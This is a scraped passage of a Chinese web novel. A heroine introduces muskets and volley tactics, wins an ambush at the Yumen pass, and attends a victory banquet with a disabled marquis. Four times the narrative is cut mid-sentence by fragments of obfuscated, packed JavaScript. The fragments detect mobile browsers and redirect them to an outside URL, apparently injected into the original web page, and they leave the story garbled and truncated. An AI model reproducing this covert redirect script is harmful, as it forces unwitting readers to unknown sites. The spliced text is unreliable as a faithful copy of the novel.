但当军械司的人将木箱抬进来，揭开盖子露出里面黑乌乌的铁管子时，他们个个都傻了眼。 “他们军械司的捣鼓这么久，就捣鼓出这么个玩意儿？” “有点像俺家的烧火棍……” 窸窸窣窣的讨论声刚刚响起，很快又寂静下来——萧砚如约而至。 姜晚抬眼看向萧砚，萧砚朝她颔首，意思是可以开始了。 一名早已待命的士兵跨步上前，双手接过一支“铁管子”，稳稳地架在肩头。 “预备！”姜晚举起令旗。 士兵屏息凝视，手指放在扳机上。 “放！” 砰！ 几乎在姜晚挥下令旗的瞬间，士兵扣动扳机，铁制的管口瞬间迸发出橙色火光，发出第一声爆响，震得众人耳膜发疼。 百步外的箭靶被穿透，一股浓烈的硝烟味弥漫开来。 士兵停下，开始重新装填弹药。 砰！砰！ 又是两声轰响，剩下的两个箭靶同样未能幸免，靶心处被轰出一个大窟窿。 三发下去，周遭硝烟味更重。 三声爆响后，校场重陷入死寂。不知是被这巨响给吓傻了，还是都惊异于这东西的威力，兵卒们一言不发，只是呆呆地盯着三个被打得稀烂的箭靶，心里暗自嘀咕： 嘿，别看它长得不怎么样，没想到劲这么大！ 萧砚眉宇间悄然松动半分。 但很快便有经验丰富的士兵发现了不足之处，率先打破寂静： “可是夫人，这装填很费事啊！方才那换弹的功夫，俺们弓箭手有这时间，三发弓箭都去射出去了，人头早就拿到手了！” 此话一出，不少人点头附和。战场上瞬息万变，这东西若是打一发就得停下来捣鼓半天，岂不是给了敌人可乘之机？ 姜晚知道粗制火铳确实不如现代的精密枪械便捷，但，仍有法可解。 她并没有直接回应那声疑问，而是胸有成竹地抬手召来十几个兵卒，将他们分成三排，每人手中都拿着一支铁管子，又命人替换下破烂的旧靶。 一切就绪，姜晚举起令旗，直指靶场。 “第一排，预备！” 前排兵卒同时举枪，将黑洞洞的枪管对准靶子。 一些老兵下意识屏住呼吸，紧紧盯着姜晚手中的令旗。 “放！” 震耳欲聋的轰鸣炸响，瞳孔骤缩，众人还没从这声声巨响中回过神来，姜晚的声音已再次响起： “第一排退，第二排进！” 第一排的兵卒迅速转身，猫腰退至后排，手不停歇地开始装填换弹。与此同时，第二排已然上前，抬起铁管再次对准靶场。 “放！” 又是一轮轰响，硝烟未散，退至后排的第一排已完成填装，第二排同样退后装弹，由第三排紧随其后补上空位。 三轮射击循环交替，密不透风，轰响声此起彼伏，竟无半分停滞。 这架势，若是在战场上，除非弹药用尽，否则敌人毫无还手之机。 演练结束，箭靶被火药轰击得一片狼藉，弹孔密密麻麻，瞧着触目惊心。众人僵在原地，先前还带着疑虑的眼睛里，此刻只剩震撼。 世上竟还有如此厉害的神兵利器？ 唯一不足之处，便是士兵们初次使用这种样式的军械，尚不熟悉，换弹时难免有些手忙脚乱。众人都明白，这不过是熟练度的问题，若是多加训练，此症亦好解决。 一道粗犷的声音从人群中传出，正是刚刚提出疑问的老兵：“夫人！依俺看，您亦是有成为世间良将的潜质！” “不敢当不敢当，”姜晚连忙拒绝，耳根微红，“此非我首创，我也不过是拾人牙慧罢了。” 要谢就谢她上历史课时没倒头就睡，把那些战术案例记了个大概吧，姜晚心道。 这时，又有一名年轻士兵道：“夫人，这铁管子总得有个正经名字吧！” “请夫人赐名！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049276|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜晚被这阵仗弄得一怔：“就……就叫火铳吧。” “好！” 众人齐声应和，还沉浸在惊喜中，萧砚却沉声道：“若是骑兵冲锋，弓马并举强行突破该如何？此物虽利，但难防近身搏杀。” 仿佛早就在等这一问，姜晚侧身看向阵列两侧：“两边可置刀盾手和长枪手，刀盾护阵，长枪拒马，纵然胡人有千钧之势，也闯不过这三重火力。” 姜晚转过头，笑道：“怎么样？这下放心了吧？眼下万事具备，只待火铳手稍加训练，便可调兵攻取玉门。” 萧砚点了点头：“此战术闻所未闻，排兵布阵更是前所未有，必须要有熟悉战术细节的将领前去督战，方能保证万无一失。” 姜晚眸光清亮：“我亲自去！” 萧砚声音多了几分凝重：“你要亲自去玉门？” “当然，”姜晚道，“眼下战术排布和火铳用法，只有我最熟悉，理应有我前去督阵，才能确保战时不会出现纰漏。” 见姜晚如此坚定，萧砚终究没有拒绝，也并未多言阻拦，只是将侯府精锐调给她组建小队，令李绍英和李绍荣前去协助。 半月后，经过严苛训练，一支火铳精锐小队终于成型。 玉门古道寒风肆虐，粗糙的风沙打在脸上，连眼睛都很难睁开。远处的山脊乱石后面悄然露出三个脑袋，是姜晚和李绍英、李绍荣伏在其后，遥遥望向隘口处的胡人营地。 胡人黑旗在寒风中猎猎作响，数百名胡人围着篝火操练，个个人高马大，脸上刀疤纵横，带着不畏生死的凶戾。 “胡人主力果然在隘口，看这架势，至少有五百骑，”李绍荣压低声音，但难掩语气中的咬牙切齿之意，不过随后又重重叹了口气，眼底翻涌着无奈，“这些该死的胡人，要是哪天在北境再也见不到这些该死的畜生该多好，让我死也值了。” 李绍英默默看向他，并未多言。 姜晚则继续盯着操练的胡人，目不转睛，声音很轻却极具力量：“会的，会有这一天的。” 话音刚落，她又将视线挪到不远处的葫芦形谷地，只见谷口狭窄，两侧有山壁，正是先前选定的伏击之处。 她对二人道：“现在，需要把人马分成两队，一队去胡人营前诱敌，一队去伏击点隐蔽待命。” 她顿了顿，目光在二人脸上徘徊片刻：“你们两个，谁去诱敌？” 李绍英刚要起身领命，便听李绍荣“唉”了一声，连忙按住她的的肩膀：“我去诱敌，你机灵，留下配合夫人打游击更稳妥。” 许是初上战阵，姜晚有些紧张，总想将事情交代得更仔细周全些，她对李绍荣说： “只许败，不许胜，切莫恋战。待他们追出来，你就往谷中退，将胡人引到伏击处便可，剩下的交给我们。” “放心！” 李绍荣咧嘴一笑：“我在北境混这么多年，这点诱敌的活要是还干不利索，这么多年的兵岂不是白当了？” 说着大手一挥，点了十几名兵卒离去。 姜晚又看向李绍英：“李将军，我们且去谷中静候，等着瓮中捉鳖。” 20.大捷 玉门古道，朔风发出冷飕飕的呜咽声。 隘口处的胡人营地热闹喧嚣，几个侦查敌情的胡人围坐在熊熊篝火旁，大喇喇地喝酒吃肉，皮甲半敞露出结实的胸膛，似乎感受不到北境的寒冷。 谈笑风声间，忽闻西侧传来急促的马蹄声，透过火光，隐约可以看到十几道黑影疾驰而来，森寒兵刃泛出的冷光。 “敌袭！” 一名守兵反应迅速，立刻抽刀发出一声嘶吼。 李绍荣往营地中射了两箭，箭矢破空而去，精准地钉在营帐前的木桩上，惊得胡人躁动起来，纷纷从营帐中涌出，当看到来袭者不过十余骑，营地中顿时发出哄堂大笑。 “就派这几个人来，北境的人是都死绝了吗！” 直到看清领头之人的身影，哄笑骤然停滞。 有人认出了李绍荣，当即扯起嗓子叫喊起来： “是姓李的那小子！可汗有令！杀一个李家人，赏金百两！” “弟兄们跟我追！”一名骠勇胡将翻身上马，弯刀直指李绍荣，“宰了这李狗领赏去！” “杀李狗！杀李狗！” 数百名胡骑迅速整队，留下部分人守营，其余人马如潮水般向李绍荣穷追而去。 李绍荣所带的一队人马且战且退，故意将阵型拉得松散，并刻意与胡人追兵保持距离，既不太远，能让对方看得见影子，又不太近，让敌人摸不着衣角。 偶尔回身放几箭，叫骂几声，激得胡人更加恼怒，骂骂咧咧地紧追不舍，不知不觉间便被李绍荣引得越来越远，进入谷地入口。 山谷内，寂静无声，唯有风穿过草木发出的沙沙声在空中轻响。 李绍英与姜晚，以及剩下的数十位火铳手伏在背风的山坳处，聚精会神地盯着山谷入口，屏气凝神，甚至能感受到互相压抑的心跳。 不一会儿，地面传来微微震动，杂乱无章的马蹄声踏碎谷间寂静。紧接着，胡人嘹亮粗犷的呼喝划破长空，在谷间回荡不休。 “来了。” 李绍英低声提醒。 率先闯入谷中的二十余名胡骑追得很紧，李绍荣的身影就在眼前，不料对方身形一晃，眨眼间转入一处山沟，消失得无影无踪。 胡骑纷纷勒住缰绳，骂骂咧咧地停下，鹰隼般的目光扫视四周，妄图搜寻到猎物的痕迹。 “咻——” 谷中传来破空声，胡骑下意识挥刀抵挡，却什么都没劈中。 因为这不是箭矢，而是引线燃尽的轻响。 砰！砰！砰！ 三声轰响齐鸣，最前面的三名胡骑闷哼一声从马上栽下，胸口炸出一片殷红血花，在皮甲上洇出深色的血渍。骏马被响声惊动，前蹄狂蹬乱踏，纷纷人立而起，发出长长嘶鸣声。 剩下的胡骑见状瞬间懵了，怎么也想不通刚才还生龙活虎的同伴，为什么转眼间便躺在了地上，身上还多了个血刺啦胡的窟窿！ 更离奇的是，他们连兵器的影子都没见着！ 砰！ 奇怪的响声再次从山谷中冒出，又一名胡骑落马。 “有埋伏！快撤！” 领头的胡骑如梦初醒，终于意识到他们中了埋伏，嘶吼的声音微微发颤。 他出声警示后面的队伍莫要在往前，可惜一切都太晚了，长长的队伍鱼贯而入，所有人马都已追至谷中。 当他们想要回身撤退时，不料刚刚还在前面的轰响，竟突然转至身后。 一连串的轰鸣声在后方接连炸开，硝烟弥漫间，队伍中殿后的几名胡骑坠马而亡，血肉模糊，退路已被彻底封死。 “杀！” 走投无路只能拼杀，胡将怒吼着拔刀，却拔刀四顾心茫然，他们根本不知道敌人在何处。 伏在山石后的火铳手打完便猫着腰换了处位置，迅速装填弹药再次瞄准。 纵然能够循着缕缕青烟辨认出方位，拉弓乱射也好，挥刀乱砍也罢，弓箭始终射不中山石上游走的身影，也挡不住突然射出的铅丸，只能在谷中焦躁地四处冲撞。 有的胡人终于察觉这夺命的响声来自两侧山壁，意图爬上山壁强占先机，可身子刚探出去，便被一枪打爆头颅，红白之物溅在山石上，像在石壁上涂出一副彩画。 胡骑被枪林弹雨打散，分成数股，惨叫声在空谷中回荡，此起彼伏，让人心悸。 此时的山谷，血肉纷飞，无异于人间炼狱。 见此情景，姜晚的心突突直跳，手脚发寒，可当她想起北境挨饿受冻的百姓，想起一切悲剧的始作俑者究竟是谁时，便猛地咬紧牙关，深吸一口气压住心中颤栗，手腕翻转，镇定地挥舞起令旗。 将胡人驱向谷心。 分散四处的火铳手立刻变换阵型，交替掩护着向两侧移动，弹丸如雨点般落在胡骑周围，将零散的胡骑不断逼向谷心。 待时机成熟，姜晚又将旗帜挥舞三下。 三线列阵。 火铳手迅速聚集起来，在谷心两侧列队，黑洞洞的枪口齐刷刷对准聚拢的胡人。 铅弹如雨，纷繁不绝，将剩下的胡骑风卷残云般地收拾干净。 另一边，留下来守营的胡人隐约听到山谷里传来的声声轰鸣，顿时察觉到不对，刚要整顿人马前去查看。 却不知，李绍英早已安排小队绕后与李绍荣的队伍汇合，趁营地空虚时悄然折返，对剩下的胡人进行突袭。 玉门古道一带，胡人主力被歼灭，纵然有一两个逃脱的漏网之鱼，也掀不起多大风浪， 这些乌黑油亮的“铁管子”，将成为一道铁幕，足以让附近的胡人望而生畏，在很长一段时间不敢轻举妄动。 这场战役并没有持续太久，结束时正值日落黄昏，姜晚和李绍英率队来到胡人在玉门的营地，与李绍荣汇合。 他们清点了下人数，发现小队仅有几人受了些轻伤，而受伤的缘由，也不过是火铳设计尚未达到尽善尽美，偶有火药意外炸开的情况，才让士兵不慎波及罢了。 随后，胡人在玉门古道安插的旗帜与营帐被尽数拔除，取而代之的是代表北境的崭新旗帜。 玄色旗帜在西风中舒展飘扬，猎猎作响。朱砂写就的文字在夕阳的余晖的照映下，也镀上一层耀眼的鎏金。 —— 回程的路上，夕阳正好，橙黄色的暖光铺满大地，落在身上暖意融融，即便是北境惯常的刺骨寒风，此刻也不觉得冷了。 此战大捷，不仅击溃了胡人，还收回了被胡人盘踞已久的玉门，所有人都心情舒畅，除了姜晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053417|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 倒不是围杀胡人的场面给她的冲击力太大，而是因为……这马实在是太难骑了。 此刻，她颤巍巍地骑着一匹白马走在前头，李绍英和李绍荣分在两侧，后面跟着满脸欢喜的精锐小队。 姜晚握紧缰绳，指节攥得发白，喉头忍不住微微滚动。 说来也是怪她好面子，不好意思总蹭李绍英的马，便硬着头皮自己上阵。虽然她骑术确实不怎么样，但勉强能驾驭得来，不至于半途被摔下去，更丢了面子。 “这一仗打得真痛快！” 李绍荣的声音突然传来，惊得姜晚打了个激灵。 “自从萧二不带兵后，我们已经很久没打过这么畅快的仗了！” 李绍英闻声皱眉：“你能不能安静点？” 李绍荣扬了扬眉毛，并不理她，望着姜晚紧绷的背影道：“还别说，夫人今日指挥若定的模样，倒让我想起从前我们几个初次上战场的时候了。” 白马的脚步稳了些，姜晚心头顿时舒坦不少。方才一战的情景浮现于脑海，姜晚回忆起当时的感受，只觉得最初是排山倒海的紧张与恐惧，而后才慢慢积淀为一种奇怪的镇定。 此刻听了李绍荣的话，她也不禁好奇起他们当时的情景，以及是否有与她同样的感受： “是吗？那你们第一次上战场是什么情形？” 李绍荣回忆道：“那时前朝旧臣死的死逃的逃，萧老将军和我爹投入晟王麾下，我们三个年龄又差不多，自然常凑到一起。” “那时我和绍英差不多十六七的年岁吧，萧二也差不多。” “恰逢燕王的人来偷袭营地，萧家和李家主力在济州战事胶着，实在分身乏术，我们几个临危受命，连个准备都没有就被推上了战场。” “这么仓促？”姜晚惊讶，“你们不怕吗？” “那年头兵荒马乱的，都快乱成一锅粥啦！大家都抱着有今天没明天的心思过活，哪有空琢磨怕不怕的。”李绍荣笑道。 谈及此事，李绍英眼底也少见地泛起怀念：“当时侯爷也是如夫人这般事无巨细地安排，生怕我兄长毛手毛脚的，坏了大事。” 李绍荣不乐意了：“怎么能光是我毛手毛脚？你也有份！你那时不也莽撞得很，非要逞强追击残兵，结果差点中埋伏，忘了是谁把你拽回来的吗？” 李绍英也不甘示弱，回敬道：“那又是谁选错了扎营地点，结果差点被水淹死？” 两人你一言我一语互相揭短，将当年的糗事都翻了个遍，为众人添了几分轻松的氛围，连一向不苟言笑的侯府精锐也不禁扯了扯嘴角。 末了，李绍荣发出感慨，声音中带了些少年气：“那会儿我还觉得烦，谁不会打仗啊！而且大家都初出茅庐的半吊子，谁又比谁强到哪去。结果真到了战场上，全靠他的步步为营铺排才没出岔子。” 话音刚落，原本在马背上松快坐着的李绍荣，此刻身子微微前倾，目光紧盯前方。 “诶，夫人！”他对姜晚道，语气中带着些微警觉，“你看那是什么？” 姜晚顺着他的手指看去，只见前方道路中间卧着一团黑乎乎的东西。 李绍荣率先打马上前，带看清了些，才低呼道： “哟，是个小娃！” 21.宴中 听到李绍荣的惊呼后，姜晚和李绍英俱是一愣，连忙轻夹马肚，催着马匹快步跟上前去。 这孩子一身破旧的黑色麻衣，浑身上下沾满黄色沙土。衣服并不合身，稍微大了点，松松垮垮的仿佛裹了个大布袋，脏兮兮小脸窝在宽大的襟领中，看着弱小又可怜。 李少荣翻身下马，俯下身子，将手指探在他的鼻子下试了试他的鼻息，松了口气：“有气！还活着呢！” 姜晚勒住缰绳，环顾这荒无人烟的荒野，道：“这荒郊野外的，哪来的孩子？” 李绍英语气淡淡的，似乎见惯了这番景象：“许是被胡人劫掠来的。他们溃败时逃得匆忙，慌不择路，多半把孩子随手扔在此处了。” 就在姜晚沉思之际，李绍荣已经小心地将孩子抱到马上： “那便把他带回去吧，让慈幼局的人好生照顾，再派人找找他的爹娘也好。” 战乱之中，多是父亲从军戍边，有时父母会一同奔赴战场，多少家庭捐躯赴国难，最后满门尽殁，最终只留一个孤苦孩童。慈幼局，便是这些落难孤儿的安身之所。 姜晚闻言点点头，眼下也确实只有这个法子了，总不能让这孩子一个人在这里挨饿受冻。 落日余晖渐渐散去，天色渐暗，在夜色即将落下之时，一行人马终于抵达城门。 刚走到吊桥边，便听到百姓潮水般的欢呼声，他们捧着馒头米糕候在街巷两侧，将道路围得水泄不通。 “夫人平安回来了！” “我们赢了！” 欢呼声此起彼伏，姜晚看着饱经风霜却满脸热忱的百姓，心里仿佛裹上一层糖霜。 李绍荣快马先行，先将孩子送去了慈幼局，李绍英则朝军营的方向疾驰而去。 当初听闻侯夫人提议要攻取玉门古道时，不论是军士还是百姓，都觉得不可思议。 太久了，北境憋屈太久了。往日，由于军备粮草不足，北境边防兵士大都是被迫防守，为保存实力鲜少主动出击。 他们早已不奢求能赢得多么漂亮，只求能少死一个弟兄，只盼能多守一日，再守一日…… 可这次，他们竟然可以主动出击，以寡敌众，硬生生在胡人盘踞已久的玉门古道插上北境的军旗，实实在在地振奋了士气，更烧尽了人们心头积压的恐惧，让久受胡人劫掠之苦的百姓看到了安宁的曙光。 胡人溃败的消息在姜晚入城之前便以野火燎原之势传遍全城，街头巷尾，人们奔走相告。 “听说了吗？听说那些胡人丢盔弃甲，连尸首也来不及收，就弃营逃跑了！” “听说胡蛮子死伤惨烈，咱们的人都好好的，寒毛都没断一根，真痛快！” “嗐！多亏了那铁东西！” 上次对火铳提出疑问的老兵逢人便道：“俺就说嘛！夫人有成为世间良将的潜质！” 就连久经战阵，见识了无数成败兴亡的老兵也不禁感叹：“多少年了……” 多少年了？ 他们早已习惯胡人的马蹄声，习惯短兵相接的脆响，习惯亲友一去不复返的绝望。 没想到活这么久，能等到有朝一日主动出击，能看到弟兄们面带笑容，全须全尾地回来。 —— 夜色低垂，华灯初上，姜晚风尘仆仆地回到府中，还没来得及将这身沾满尘沙的劲装换去，廊下便传来一阵急促的脚步声。 “夫人可算回来了！” 侍女翠儿提着裙摆小跑进来，脸颊因急切和喜悦泛起红晕。她激动地一把抓住姜晚的衣袖，却立刻意识到逾矩，连忙将手缩了回来。 “这么急做什么？”姜晚失笑，顺手摘下护腕，“总得容我换身衣裳。” 翠儿偷着笑了声，脆生生的嗓音如银铃般悦耳： “还换什么呀，您这样好看得很！夫人快些去吧，大家伙都等着呢！” 姜晚疑惑：“去哪？” “前院呀！营里的叔伯们还有山木夫人给您准备了接风宴，都等着您去呢！” 姜晚还没来得及细问，便半推半就地被翠儿拽着往院外走。 刚过回廊，便听见前院传来阵阵笑语，热闹非凡，火把劈啪作响，将院中映照得亮如白昼，浓郁的酒香混着肉香扑面而来。 姜晚第一眼看到的是山木夫人的背影，她手中拿着一盏装饰精美的酒壶，正笑着给人添酒，旁边是忙来忙去的钱有财。 有眼尖的人看到姜晚过来，立刻高喊道： “夫人来了！” 山木闻声回过身，脸上笑意更浓：“可算把你盼来了，快来快来！” 她三步并作两步迎上前，不由分说拉着姜晚左右转了两圈。 “嗯，不错！没少块肉！” 说罢便引姜晚来到主座，又端来一个瓷碗，提起酒壶往里面斟满宝石红的葡萄酒： “这可是我从老家带来的葡萄佳酿，珍藏了很久就没舍得喝，今天特意拿来给大家尝尝。还有这席间酒肉，都是钱老板准备的，夫人多用些，可别辜负了钱老板的美意啊！” 姜晚接过酒碗，碗中酒液微微荡漾，映出盈盈清光：“这般铺陈，多破费呀。” 山木用手肘不动声色地撞了撞钱有财：“我们都是自愿的，你说是不是啊，钱老板？” 钱有财有些肉疼，但敢怒不敢言：“是是是……” 侯府一向是肃静的，可这场宴席却将这份肃静彻底撕碎。姜晚佯怒，故意板着脸道：“你们这般放肆，不怕被侯爷责罚吗？” “怕什么，”山木挑了挑眉，小饮了一口酒，“我们敢这么干，那肯定是得到了侯爷首肯的。” “对不对，钱老板？” 钱有财依旧是敢怒不敢言：“对对对……” 院中笑声盈盈，气氛欢快。 月色如霜，皎如白练，毫无保留地洒在青色石板上。萧砚处理完事务回府，由周叔推着轮椅经过前院。凄清的银辉洒在衣衫上，更衬得他身影孤峭，与院内的热闹喧嚣格格不入。 灯火照耀下人影绰绰，听到前院传来的朗朗声响，周叔的脸上也柔和了不少，他望着前院说：“侯爷不去院里看看吗？看这动静，院里正热闹着呢。” 萧砚没有言语，只是静静看向院中的憧憧人影。 那些将士大多是从前跟随萧砚旧部，院内的人影不断晃动，里面有熟悉的，也有陌生的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058783|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但都不禁与周叔回忆中情景重叠： “前院这架势，倒让老奴想起了从前。那时侯爷刚打完胜仗回来，那些老将们也是和他们一样为侯爷接风洗尘，营里也这般热闹……” 话未说完，周叔突然想起了什么，倏然停住，懊恼地抿紧双唇。任谁都知道，往日的任何记忆，对现在的萧砚来说，都是一根扎人的刺。 他知道，很久之前，萧砚最听不得从前的事。 周叔忐忑地瞥了瞥萧砚的侧脸，却发现他脸上并没有出现不悦的神情，月光在眼眸中流淌，竟映出几分罕见的柔和，并没有因为他所说的话而产生其他的情绪。 萧砚默默望着那片热闹，看了有一会儿，才回道：“先回吧，让她们尽兴些。” 姜晚被山木劝着多喝了几盏酒，脸色微红，似有微微醉意。她眼波一转，正好撞见月光下萧砚的身影。 这双眼睛因酒意水光潋滟，比往日更鲜活大胆了几分，目光灼灼，带着不容拒绝的热情。 她放下酒盏，迎着溶溶月光，竟鬼使神差地兀自走过去。 “侯爷留步。” 姜晚离开前院，来到廊下。 萧砚回首看向姜晚，姜晚迎着月光，皎洁月光铺在她泛红的脸颊上，鬓边发丝被晚风微微吹起，她的身影陷在前院暖黄灯光与清冷月色的交界处，像一块浸在月光中的暖玉。而他则背对月光，整个人置身于阴影中，两人之间隔着一道鲜明的分界线。 姜晚尾音微微上扬，语气温软，带着酒意：“侯爷来都来了，不进去喝一杯？” 萧砚眸光微垂，看向地上铺着的月色，声音平静：“此宴本为你庆功而设，与我无甚关联，不便叨扰。” 姜晚醉得迷糊，口无遮拦，连敬称都忘了：“怎能与你无关？出兵的命令是你下的，兵是你借给我的，李绍英李绍荣也是你派来的，桩桩件件都连着你，怎么能说与你无关？” 萧砚抬眼看向她，只见她脸颊两侧绯色更甚，醉态较之方才又多了几分。 看萧砚没有答话，姜晚不依不饶，往前凑了半步：“方才听一位老将军说，您当年在营中喝酒从不含糊，怎么如今倒成了躲清闲的人了？” 周叔在一旁听得心惊，偷瞥了下萧砚的神色，却发现他虽然没有接话，但没有因此动怒。 姜晚仿佛没了耐心，还没等周叔反应过来，她便已快步上前，灵巧地绕到轮椅后，从周叔手中接过轮椅把手，推着他就往前院去：“走嘛走嘛，进去看看也不妨碍什么。” 众人还在觥筹交错时，忽然有人发现姜晚不见了，大家放下杯盏四处张望寻人，正巧看到姜晚推着轮椅进入： “看看谁来了！” 所以人都望向突然出现的萧砚，所有人都唰地一下醒酒了，唯有姜晚浑然不觉。 山木最先反应过来，率先打破沉静，笑道：“侯爷不是说不来吗？这可真是稀客临门了！” 萧砚偏头看了看姜晚，神情有些无奈。 众人瞧见姜晚脸上那抹酒意上头的红晕，再看看萧砚那虽未言明却难掩无可奈何的神色时，顿时了然，心照不宣地笑了起来。 原来是被夫人硬请过来的。 22.上钩 曾经随着萧家出征的旧部都知晓，自从不能行走后，萧砚便很少涉足这种喧嚣热闹的场合。即便偶有的几次军庆，也多是李氏兄妹代为主理。 是以，当姜晚推着萧砚闯入这片喧嚣时，鼎沸的人声骤然一滞，周遭短暂地安静了一瞬。 那些倚栏畅饮的将士们不由得挺直了腰背，朦胧之中，轮椅上的身影逐渐与记忆中形象的重叠。恍惚间好似回到从前，他们又看到了那位银鞍白马，与众人同饮共醉的少年将军。 只是同样的眉眼，再不见当年的意气风发，再映不出剑指胡虏的灼灼风华。 见到此番情景，山木笑眯眯地道：“侯爷既然赏光前来，可不能不喝一杯！” 山木清朗的声音将众人从回忆中唤醒，有几位老兵见状也随声附和，郑重地举起酒碗向萧砚敬酒，一如当年校场点兵时，向主帅敬酒一样。 姜晚信手拈起酒壶斟了杯酒，指尖微颤，清液在杯盏中晃出涟漪。 她将酒盏递到他唇边：“喝一杯？” 萧砚接过杯盏，澄澈的清酒倒映出泠泠月光。烈酒入喉，火灼般的辛辣顺着喉头直窜胸腔，可灼烧未散，更浓重的苦涩便如潮水般漫上来，沉甸甸地郁结于心头。 萧砚的到来并没有使氛围沉寂下来，反而使众人的谈性更浓。 酒过三巡，人们依旧热络地说笑着，但更多谈及的是旧日往事。山木也借着酒意，向旁人多打听了些她夫君沈崇山的过往轶事。 夜色渐浓，酣宴渐散，众人三三两两地拜别离去。 周叔看着时辰不早了，起身刚打算送萧砚回去，便见姜晚脚步虚浮，先他一步双手扶上轮椅。 周叔发出一声惊呼：“夫人！” 姜晚仿佛没听见，低头看向轮椅上的人，声音轻飘飘的，夹杂丝丝酒气：“我送你回去。” 萧砚抬眸，看向她酡红的双颊，道：“你醉了，让周叔来。” “周叔年事已高，”姜晚紧紧握住扶手不肯放，“夜深露重的，该早些回去歇息才是。” 山木松松垮垮地倚在廊柱旁，听到这边的谈话，嘴角勾起一抹意味深长的笑：“侯爷就莫要推辞了，这么尽兴的日子可不多见，由着她吧。” 望着姜晚酒后执拗的模样，萧砚沉默良久，仿佛不想就此僵持下去，终是颔首同意了她荒唐的举动。 夜风微凉，姜晚推着轮椅，脚步有些不稳。周叔放心不下，也不敢回去歇着，哪怕姜晚已经发话，也只敢在三步之外胆战心惊地跟着，双眼紧紧盯着她的脚步，一刻也不肯放松，生怕她不小心摔了。 晚风掠过树梢，带起一阵簌簌轻响。一路上，在酒劲的催使下，姜晚嘴上没个把门的，稀里糊涂说了很多没头没尾的话。 萧砚静静听着，并不插话，如同在听檐角落雨、山间清风。 许是终于说累了，头顶那絮絮叨叨的声音忽然歇了。 不知过了多久，那带着浓重醉意的声音才又重新响起，朦胧地想在独自呢喃。 “侯爷，你要是能站起来，该多好啊……” “你要是在我家乡就好了，甭管断胳膊断腿，就算是心没了都能给你补得完完整整的。” 没了心的人，如何能活？即便是京城御医也无济于事。 她却说越含糊，萧砚只当她是醉后呓语，并未当真。 “刚刚宴上大家都念着呢，说想重回侯爷麾下，再披坚执锐，杀他们个片甲不留。” 萧砚没有答话。他比任何人都清楚自己的境况。 重伤昏迷醒来的最初一段时日，他曾抱着最后一丝希冀挣扎过——针灸、按摩、汤药、一次次尝试站起却又摔下……能试的法子都试了个遍，可郎中告诉他一切都是徒劳。 “徒劳”二字，终是敲碎了他所有念想，逼迫他接受自己已成废人的事实。 那段时日，最令他痛苦的，并非身体的伤痛，而是旁人关切目光下掩藏的怜悯悲戚，是旧部们欲言又止的叹息，那些触及他狼狈模样目光和叹息，如同芒刺，每一道都扎进他最痛之处。 仿佛无时无刻不再提醒他，那个纵马沙场的少将军，如何成了这般模样？ 回想起父兄被枭首示于城楼，母亲也为护城与贼寇同归于尽的绝望，那满门尽殁的绝境，他也曾想一死了之。 可命运偏要作弄，竟让他拖着这幅残躯，在人间苟活了下来，又逢圣上降旨，将北境万千生灵的生死尽数压在他这废人肩上。 当年降旨时，他曾希望是道罪诏，能以死谢罪，反倒是成全了他。 却不曾想，等来的是将他永远囿于北境，永远囚于这块承载无数噩梦的方寸之地的旨意。 明黄绢帛上，“定北侯”三个字刺得人双目生疼。 定北侯…… 多么可笑的封号，念起来只有彻骨的讽刺，仿佛是对他又一次的羞辱。 一个双腿难行，无法跨上战马上阵杀敌的废人，如何能定国安邦，镇守北疆？ 方才席间，暖光灼灼映得满院明亮，看着姜晚在众人簇拥下言笑晏晏的模样，恍惚间竟让他看到了自己当时初战大捷后的情景。 可惜这样的情景，再也不会出现了。 终于到了萧砚的别院，往日那辆旧轮椅行至此处总要大费周章，不论是是上台阶还是过门槛总得让人先抬稳椅身，然后再慢慢挪过障碍。 但她的新制轮椅就没这么麻烦。姜晚单手扶住椅背，另一只手熟稔地扳动机关，轮椅的前轮便自动抬起，稳稳跨过障碍。再按另一处机关，后轮便弹出辅助支架，借力缓缓上行，如履平地。 姜晚见状又开始碎碎念，语气中带着微微的得意：“看吧，还是我的轮椅好使吧？当时给你做你还不乐意……” 轮椅终于停到房门前，打开紧闭的门扉，一股比书房更清苦的药香扑面而来，让姜晚稍微清醒了些，但并无大用。 屋内的陈设极其简单素净，一桌一椅临窗而放，案上堆着几卷书，除此之外再无其他杂饰。 室内烛光渐明，姜晚的目光瞬间被案上工整的字迹吸引。她随手拿起最上面的书册翻看几页，目光眩晕看不清几个字，但凭着几个术语判断道：“这是兵书吗？” 萧砚已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 